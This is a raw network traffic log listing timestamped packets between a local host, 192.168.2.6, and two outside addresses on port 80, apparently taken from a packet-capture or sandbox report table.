Nov 23, 2024 13:28:39.296128035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.296941042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.297044039 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.297055006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.297065020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.297087908 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.297118902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.298310041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.298329115 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.298379898 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.299011946 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.299057007 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.299082994 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.299125910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.299783945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.299830914 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.299849033 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.299892902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.300594091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.300697088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.300741911 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.301677942 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.301690102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.301723957 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.301772118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.302495956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.302552938 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.302680969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.302731037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.303391933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.303423882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.303436041 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.303467035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.304305077 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.304460049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.304503918 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.305233002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.305279016 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.305280924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.305325031 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.306155920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.306205988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.306240082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.306298971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.307096958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.307142019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.307218075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.307262897 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.307998896 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.308063984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.308149099 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.308940887 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.308971882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.308986902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.309016943 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.309881926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.309941053 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.310003996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.310050011 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.310790062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.310830116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.310894012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.310935974 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.311750889 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.311795950 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.311865091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.311923981 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.312625885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.312714100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.312776089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.313549042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.313585043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.313604116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.313633919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.314543009 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.314590931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.314651966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.314698935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.315431118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.315478086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.315551996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.315596104 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.316337109 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.316416025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.316461086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.317301035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.317375898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.317425966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.318420887 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.318500042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.318548918 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.319339037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.319382906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.319406986 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.319451094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.320029974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.320074081 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.320149899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.320961952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.321012974 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.321069002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.321115971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.321844101 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.321903944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.356792927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.356846094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.356899023 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.357503891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.357609987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.357645988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.359980106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.360045910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.361761093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.361809015 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.361871958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.364057064 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.364156008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.399175882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.399302959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.399363995 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.400377989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.404174089 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.440107107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.440165043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.440224886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.441268921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.481362104 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.481439114 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.481451035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.481501102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.481781006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.481828928 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.481832981 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.481841087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.481867075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.481884956 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.481916904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.482635975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.482686043 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.482712030 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.482809067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.482810020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.482851982 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.482875109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.483424902 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.483480930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.483525038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.483577967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.484411955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.484477997 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.484483004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.484520912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.485280037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.485318899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.485325098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.485402107 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.485409975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.485452890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.486195087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.486246109 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.486249924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.486306906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.487157106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.487353086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.487411022 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.488051891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.488173962 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.488224983 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.489005089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.489044905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.489100933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.489146948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.489893913 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.489942074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.490005970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.490051985 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.490824938 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.490874052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.490936041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.490978003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.491751909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.491801023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.491846085 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.492696047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.492742062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.492763042 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.492794037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.493594885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.493654013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.493691921 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.493732929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.494585991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.494632006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.494679928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.495471954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.495537996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.495569944 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.495632887 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.496387959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.496505976 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.496558905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.497298956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.497344971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.497468948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.497679949 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.498219967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.498265028 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.498303890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.498358965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.499209881 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.499300003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.499327898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.499397039 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.500097990 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.500210047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.500219107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.500263929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.501014948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.501064062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.501105070 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.501144886 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.501934052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.502029896 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.502047062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.502087116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.502852917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.502938986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.502959967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.503000975 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.503765106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.503840923 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.503880978 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.503931999 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.504765034 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.504834890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.504861116 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.504904032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.505647898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.505697966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.505762100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.505825996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.506603956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.506726027 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.506844997 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.506890059 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.507364035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.507402897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.507455111 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.507503033 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.507576942 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.507590055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.507627010 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.508410931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.508461952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.508507967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.508549929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.509459019 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.509470940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.509511948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.510447979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.510505915 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.510524988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.510581017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.511228085 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.511352062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.511404991 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.512198925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.512307882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.512362003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.513082027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.513144016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.513215065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.513268948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.514033079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.514079094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.514167070 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.514219999 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.514925957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.514990091 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.515043974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.515094995 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.515849113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.515902996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.515975952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.516024113 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.516774893 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.516897917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.516952038 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.517719984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.517791033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.517843962 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.517896891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.518620968 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.518671989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.518718004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.518767118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.519577980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.519633055 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.519690037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.519740105 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.520581007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.520646095 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.520699978 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.521400928 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.521469116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.521509886 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.521564960 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.522358894 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.522408009 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.522458076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.522507906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.523228884 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.523279905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.523359060 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.523416996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.524198055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.524301052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.524355888 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.525340080 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.525377989 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.525393963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.525425911 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.526045084 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.526098967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.526149988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.526205063 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.527004957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.527044058 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.527056932 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.527086973 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.527887106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.527941942 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.527983904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.528032064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.528815031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.528959990 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.529016972 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.529663086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.529715061 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.567384958 CET	80	49758	34.116.198.130	192.168.2.6
